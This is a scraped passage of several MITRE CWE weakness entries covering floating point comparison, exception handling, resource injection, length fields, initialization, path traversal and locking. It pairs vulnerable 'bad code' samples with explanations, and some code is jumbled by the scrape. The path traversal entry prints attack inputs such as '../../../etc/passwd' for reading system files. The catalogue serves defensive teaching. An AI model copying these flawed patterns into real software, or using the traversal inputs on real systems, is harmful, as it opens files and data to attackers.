For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThis table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Example 1 In the following Java example the updateInventory() method used within an e-business product ordering/inventory application will check if the input product number is in the store or in the warehouse. If the product is found, the method will update the store or warehouse database as well as the aggregate product database. If the product is not found, the method intends to do some special processing without updating any database. (bad code)
Example Language: Java
public void updateInventory(String productNumber) { boolean isProductAvailable = false;
boolean isDelayed = false; if (productInStore(productNumber)) { isProductAvailable = true; }updateInStoreDatabase(productNumber); else if (productInWarehouse(productNumber)) { isProductAvailable = true; }updateInWarehouseDatabase(productNumber); else { isProductAvailable = true; }if ( isProductAvailable ) { updateProductDatabase(productNumber); }else if ( isDelayed ) { /* Warn customer about delay before order processing */ ... However, the method never sets the isDelayed variable and instead will always update the isProductAvailable variable to true. The result is that the predicate testing the isProductAvailable boolean will always evaluate to true and therefore always update the product database. Further, since the isDelayed variable is initialized to false and never changed, the expression always evaluates to false and the customer will never be warned of a delay on their product.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1077: Floating Point Comparison with Incorrect Operator
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe code performs a comparison such as an
equality test between two float (floating point) values, but
it uses comparison operators that do not account for the
possibility of loss of precision.
Numeric calculation using floating point values can generate imprecise results because of rounding errors. As a result, two different calculations might generate numbers that are mathematically equal, but have slightly different bit representations that do not translate to the same mathematically-equal values. As a result, an equality test or other comparison might produce unexpected results. This issue can prevent the product from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-703: Improper Check or Handling of Exceptional Conditions
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product does not properly anticipate or handle exceptional conditions that rarely occur during normal operation of the product.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Architectural Concepts" (CWE-1008)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Technologies Class: Not Technology-Specific (Undetermined Prevalence) Example 1 Consider the following code segment: (bad code)
Example Language: C
char buf[10], cp_buf[10];
fgets(buf, 10, stdin); strcpy(cp_buf, buf); The programmer expects that when fgets() returns, buf will contain a null-terminated string of length 9 or less. But if an I/O error occurs, fgets() will not null-terminate buf. Furthermore, if the end of the file is reached before any characters are read, fgets() returns without writing anything to buf. In both of these situations, fgets() signals that something unusual has happened by returning NULL, but in this code, the warning will not be noticed. The lack of a null terminator in buf can result in a buffer overflow in the subsequent call to strcpy(). Example 2 The following method throws three types of exceptions. (good code)
Example Language: Java
public void doExchange() throws IOException, InvocationTargetException, SQLException {
... }While it might seem tidier to write (bad code)
public void doExchange() throws Exception {
... }doing so hampers the caller's ability to understand and handle the exceptions that occur. Further, if a later revision of doExchange() introduces a new type of exception that should be treated differently than previous exceptions, there is no easy way to enforce this requirement.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Relationship
This is a high-level class that might have some overlap with other classes. It could be argued that even "normal" weaknesses such as buffer overflows involve unusual or exceptional conditions. In that sense, this might be an inherent aspect of most other weaknesses within CWE, similar to API Abuse (CWE-227) and Indicator of Poor Code Quality (CWE-398). However, this entry is currently intended to unify disparate concepts that do not have other places within the Research Concepts view (CWE-1000).
CWE-99: Improper Control of Resource Identifiers ('Resource Injection')
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product receives input from an upstream component, but it does not restrict or incorrectly restricts the input before it is used as an identifier for a resource that may be outside the intended sphere of control.
A resource injection issue occurs when the following two conditions are met:
This may enable an attacker to access or modify otherwise protected system resources.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Architectural Concepts" (CWE-1008)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Example 1 The following Java code uses input from an HTTP request to create a file name. The programmer has not considered the possibility that an attacker could provide a file name such as "../../tomcat/conf/server.xml", which causes the application to delete one of its own configuration files. (bad code)
Example Language: Java
String rName = request.getParameter("reportName");
File rFile = new File("/usr/local/apfr/reports/" + rName); ... rFile.delete(); Example 2 The following code uses input from the command line to determine which file to open and echo back to the user. If the program runs with privileges and malicious users can create soft links to the file, they can use the program to read the first part of any file on the system. (bad code)
Example Language: C++
ifstream ifs(argv[0]);
string s; ifs >> s; cout << s; The kind of resource the data affects indicates the kind of content that may be dangerous. For example, data containing special characters like period, slash, and backslash, are risky when used in methods that interact with the file system. (Resource injection, when it is related to file system resources, sometimes goes by the name "path manipulation.") Similarly, data that contains URLs and URIs is risky for functions that create remote connections.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Relationship
Resource injection that involves resources stored on the filesystem goes by the name path manipulation (CWE-73).
Maintenance
The relationship between CWE-99 and CWE-610 needs further investigation and clarification. They might be duplicates. CWE-99 "Resource Injection," as originally defined in Seven Pernicious Kingdoms taxonomy, emphasizes the "identifier used to access a system resource" such as a file name or port number, yet it explicitly states that the "resource injection" term does not apply to "path manipulation," which effectively identifies the path at which a resource can be found and could be considered to be one aspect of a resource identifier. Also, CWE-610 effectively covers any type of resource, whether that resource is at the system layer, the application layer, or the code layer.
CWE-130: Improper Handling of Length Parameter Inconsistency
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product parses a formatted message or structure, but it does not handle or incorrectly handles a length field that is inconsistent with the actual length of the associated data.
If an attacker can manipulate the length parameter associated with an input such that it is inconsistent with the actual length of the input, this can be leveraged to cause the target application to behave in unexpected, and possibly, malicious ways. One of the possible motives for doing so is to pass in arbitrarily large input to the application. Another possible motivation is the modification of application state by including invalid data for subsequent properties of the application. Such weaknesses commonly lead to attacks such as buffer overflows and execution of arbitrary code.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages C (Sometimes Prevalent) C++ (Sometimes Prevalent) Class: Not Language-Specific (Undetermined Prevalence) Example 1 In the following C/C++ example the method processMessageFromSocket() will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing. (bad code)
Example Language: C
int processMessageFromSocket(int socket) {
int success;
char buffer[BUFFER_SIZE]; char message[MESSAGE_SIZE]; // get message from socket and store into buffer //Ignoring possibliity that buffer > BUFFER_SIZE if (getMessage(socket, buffer, BUFFER_SIZE) > 0) { // place contents of the buffer into message structure ExMessage *msg = recastBuffer(buffer); // copy message body into string for processing int index; for (index = 0; index < msg->msgLength; index++) { message[index] = msg->msgBody[index]; }message[index] = '\0'; // process message success = processMessage(message); return success; However, the message length variable from the structure is used as the condition for ending the for loop without validating that the message length variable accurately reflects the length of the message body (CWE-606). This can result in a buffer over-read (CWE-125) by reading from memory beyond the bounds of the buffer if the message length variable indicates a length that is longer than the size of a message body (CWE-130).
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-665: Improper Initialization
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product does not initialize or incorrectly initializes a resource, which might leave the resource in an unexpected state when it is accessed or used.
This can have security implications when the associated resource is expected to have certain properties or values, such as a variable that determines whether a user has been authenticated or not.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Example 1 Here, a boolean initiailized field is consulted to ensure that initialization tasks are only completed once. However, the field is mistakenly set to true during static initialization, so the initialization code is never reached. (bad code)
Example Language: Java
private boolean initialized = true;
public void someMethod() { if (!initialized) {
// perform initialization tasks ... initialized = true; Example 2 The following code intends to limit certain operations to the administrator only. (bad code)
Example Language: Perl
$username = GetCurrentUser();
$state = GetStateData($username); if (defined($state)) { $uid = ExtractUserID($state); }# do stuff if ($uid == 0) { DoAdminThings(); }If the application is unable to extract the state information - say, due to a database timeout - then the $uid variable will not be explicitly set by the programmer. This will cause $uid to be regarded as equivalent to "0" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident. Example 3 The following code intends to concatenate a string to a variable and print the string. (bad code)
Example Language: C
char str[20];
strcat(str, "hello world"); printf("%s", str); This might seem innocent enough, but str was not initialized, so it contains random memory. As a result, str[0] might not contain the null terminator, so the copy might start at an offset other than 0. The consequences can vary, depending on the underlying memory. If a null terminator is found before str[8], then some bytes of random garbage will be printed before the "hello world" string. The memory might contain sensitive information from previous uses, such as a password (which might occur as a result of CWE-14 or CWE-244). In this example, it might not be a big deal, but consider what could happen if large amounts of memory are printed out before the null terminator is found. If a null terminator isn't found before str[8], then a buffer overflow could occur, since strcat will first look for the null terminator, then copy 12 bytes starting with that location. Alternately, a buffer over-read might occur (CWE-126) if a null terminator isn't found before the end of the memory segment is reached, leading to a segmentation fault and crash.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterMany file operations are intended to take place within a restricted directory. By using special elements such as ".." and "/" separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the "../" sequence, which in most modern operating systems is interpreted as the parent directory of the current location. This is referred to as relative path traversal. Path traversal also covers the use of absolute pathnames such as "/usr/local/bin" to access unexpected files. This is referred to as absolute path traversal.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Example 1 The following code could be for a social networking application in which each user's profile information is stored in a separate file. All files are stored in a single directory. (bad code)
Example Language: Perl
my $dataPath = "/users/cwe/profiles";
my $username = param("user"); my $profilePath = $dataPath . "/" . $username; open(my $fh, "<", $profilePath) || ExitError("profile read error: $profilePath"); print "<ul>\n"; while (<$fh>) { print "<li>$_</li>\n"; }print "</ul>\n"; While the programmer intends to access files such as "/users/cwe/profiles/alice" or "/users/cwe/profiles/bob", there is no verification of the incoming user parameter. An attacker could provide a string such as: (attack code)
../../../etc/passwd
The program would generate a profile pathname like this: (result)
/users/cwe/profiles/../../../etc/passwd
When the file is opened, the operating system resolves the "../" during path canonicalization and actually accesses this file: (result)
/etc/passwd
As a result, the attacker could read the entire text of the password file. Notice how this code also contains an error message information leak (CWE-209) if the user parameter does not produce a file that exists: the full pathname is provided. Because of the lack of output encoding of the file that is retrieved, there might also be a cross-site scripting problem (CWE-79) if profile contains any HTML, but other code would need to be examined. Example 2 In the example below, the path to a dictionary file is read from a system property and used to initialize a File object. (bad code)
Example Language: Java
String filename = System.getProperty("com.domain.application.dictionaryFile");
File dictionaryFile = new File(filename); However, the path is not validated or modified to prevent it from containing relative or absolute path sequences before creating the File object. This allows anyone who can control the system property to determine what file is used. Ideally, the path should be resolved relative to some kind of application or user home directory. Example 3 The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path. (bad code)
Example Language: Perl
my $Username = GetUntrustedInput();
$Username =~ s/\.\.\///; my $filename = "/home/user/" . $Username; ReadAndSendFile($filename); Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as: (attack code)
../../../etc/passwd
will have the first "../" stripped, resulting in: (result)
../../etc/passwd
This value is then concatenated with the /home/user/ directory: (result)
/home/user/../../etc/passwd
which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23). Example 4 The following code attempts to validate a given input path by checking it against an allowlist and once validated delete the given file. In this specific case, the path is considered valid if it starts with the string "/safe_dir/". (bad code)
Example Language: Java
String path = getInputPath();
if (path.startsWith("/safe_dir/")) { File f = new File(path); }f.delete() An attacker could provide an input such as this: (attack code)
/safe_dir/../important.dat
The software assumes that the path is valid because it starts with the "/safe_path/" sequence, but the "../" sequence will cause the program to delete the important.dat file in the parent directory Example 5 The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The action attribute of an HTML form is sending the upload file request to the Java servlet. (good code)
Example Language: HTML
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">
Choose a file to upload: <input type="file" name="filename"/> <br/> <input type="submit" name="submit" value="Submit"/> </form> When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory. (bad code)
Example Language: Java
public class FileUploadServlet extends HttpServlet {
...
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType("text/html");
PrintWriter out = response.getWriter(); String contentType = request.getContentType(); // the starting position of the boundary header int ind = contentType.indexOf("boundary="); String boundary = contentType.substring(ind+9); String pLine = new String(); String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value // verify that content type is multipart form data if (contentType != null && contentType.indexOf("multipart/form-data") != -1) { // extract the filename from the Http header
BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream())); ... pLine = br.readLine(); String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("\"")); ... // output the file to the local upload directory try { BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
for (String line; (line=br.readLine())!=null; ) { if (line.indexOf(boundary) == -1) { } //end of for loopbw.write(line); }bw.newLine(); bw.flush(); bw.close(); } catch (IOException ex) {...} // output successful upload response HTML page // output unsuccessful upload response HTML page else {...} ...
This code does not perform a check on the type of the file being uploaded (CWE-434). This could allow an attacker to upload any executable file or other file with malicious code. Additionally, the creation of the BufferedWriter object is subject to relative path traversal (CWE-23). Since the code does not check the filename that is provided in the header, an attacker can use "../" sequences to write to files outside of the intended directory. Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash. Example 6 This script intends to read a user-supplied file from the current directory. The user inputs the relative path to the file and the script uses Python's os.path.join() function to combine the path to the current working directory with the provided path to the specified file. This results in an absolute path to the desired file. If the file does not exist when the script attempts to read it, an error is printed to the user. (bad code)
Example Language: Python
import os
import sys def main():
filename = sys.argv[1]
main()
path = os.path.join(os.getcwd(), filename) try:
with open(path, 'r') as f:
except FileNotFoundError as e:
file_data = f.read()
print("Error - file not found")
However, if the user supplies an absolute path, the os.path.join() function will discard the path to the current working directory and use only the absolute path provided. For example, if the current working directory is /home/user/documents, but the user inputs /etc/passwd, os.path.join() will use only /etc/passwd, as it is considered an absolute path. In the above scenario, this would cause the script to access and read the /etc/passwd file. (good code)
Example Language: Python
import os
import sys def main():
filename = sys.argv[1]
main()
path = os.path.normpath(f"{os.getcwd()}{os.sep}{filename}") if path.startswith("/home/cwe/documents/"):
try:
with open(path, 'r') as f:
except FileNotFoundError as e:
file_data = f.read()
print("Error - file not found")
The constructed path string uses os.sep to add the appropriate separation character for the given operating system (e.g. '\' or '/') and the call to os.path.normpath() removes any additional slashes that may have been entered - this may occur particularly when using a Windows path. The path is checked against an expected directory (/home/cwe/documents); otherwise, an attacker could provide relative path sequences like ".." to cause normpath() to generate paths that are outside the intended directory (CWE-23). By putting the pieces of the path string together in this fashion, the script avoids a call to os.path.join() and any potential issues that might arise if an absolute path is entered. With this version of the script, if the current working directory is /home/cwe/documents, and the user inputs /etc/passwd, the resulting path will be /home/cwe/documents/etc/passwd. The user is therefore contained within the current working directory as intended.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Relationship
Pathname equivalence can be regarded as a type of canonicalization error.
Relationship
Some pathname equivalence issues are not directly related to directory traversal, rather are used to bypass security-relevant checks for whether a file/directory can be accessed by the attacker (e.g. a trailing "/" on a filename could bypass access rules that don't expect a trailing /, causing a server to provide the file when it normally would not).
Terminology Like other weaknesses, terminology is often based on the types of manipulations used, instead of the underlying weaknesses. Some people use "directory traversal" only to refer to the injection of ".." and equivalent sequences whose specific meaning is to traverse directories. Other variants like "absolute pathname" and "drive letter" have the *effect* of directory traversal, but some people may not call it such, since it doesn't involve ".." or equivalent. Research Gap Research Gap Incomplete diagnosis or reporting of vulnerabilities can make it difficult to know which variant is affected. For example, a researcher might say that "..\" is vulnerable, but not test "../" which may also be vulnerable. Any combination of directory separators ("/", "\", etc.) and numbers of "." (e.g. "....") can produce unique variants; for example, the "//../" variant is not listed (CVE-2004-0325). See this entry's children and lower-level descendants. Other
In many programming languages, the injection of a null byte (the 0 or NUL) may allow an attacker to truncate a generated filename to apply to a wider range of files. For example, the product may add ".txt" to any pathname, thus limiting the attacker to text files, but a null injection may effectively remove this restriction.
CWE-667: Improper Locking
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product does not properly acquire or release a lock on a resource, leading to unexpected resource state changes and behaviors.
Locking is a type of synchronization behavior that ensures that multiple independently-operating processes or threads do not interfere with each other when accessing the same resource. All processes/threads are expected to follow the same steps for locking. If these steps are not followed precisely - or if no locking is done at all - then another process/thread could modify the shared resource in a way that is not visible or predictable to the original process. This can lead to data or memory corruption, denial of service, etc. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
Example 1 In the following Java snippet, methods are defined to get and set a long field in an instance of a class that is shared across multiple threads. Because operations on double and long are nonatomic in Java, concurrent access may cause unexpected behavior. Thus, all operations on long and double fields should be synchronized. (bad code)
Example Language: Java
private long someLongValue;
public long getLongValue() { return someLongValue; }public void setLongValue(long l) { someLongValue = l; }Example 2 This code tries to obtain a lock for a file, then writes to it. (bad code)
Example Language: PHP
function writeToLog($message){
$logfile = fopen("logFile.log", "a"); }//attempt to get logfile lock if (flock($logfile, LOCK_EX)) { fwrite($logfile,$message); }// unlock logfile flock($logfile, LOCK_UN); else { print "Could not obtain lock on logFile.log, message not recorded\n"; }fclose($logFile); PHP by default will wait indefinitely until a file lock is released. If an attacker is able to obtain the file lock, this code will pause execution, possibly leading to denial of service for other users. Note that in this case, if an attacker can perform an flock() on the file, they may already have privileges to destroy the log file. However, this still impacts the execution of other programs that depend on flock(). Example 3 The following function attempts to acquire a lock in order to perform operations on a shared resource. (bad code)
Example Language: C
void f(pthread_mutex_t *mutex) {
pthread_mutex_lock(mutex);
/* access shared resource */ pthread_mutex_unlock(mutex); However, the code does not check the value returned by pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire the mutex for any reason, the function may introduce a race condition into the program and result in undefined behavior. In order to avoid data races, correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting them to higher levels. (good code)
Example Language: C
int f(pthread_mutex_t *mutex) {
int result;
result = pthread_mutex_lock(mutex); if (0 != result) return result;
/* access shared resource */ return pthread_mutex_unlock(mutex); Example 4 It may seem that the following bit of code achieves thread safety while avoiding unnecessary synchronization... (bad code)
Example Language: Java
if (helper == null) {
synchronized (this) {
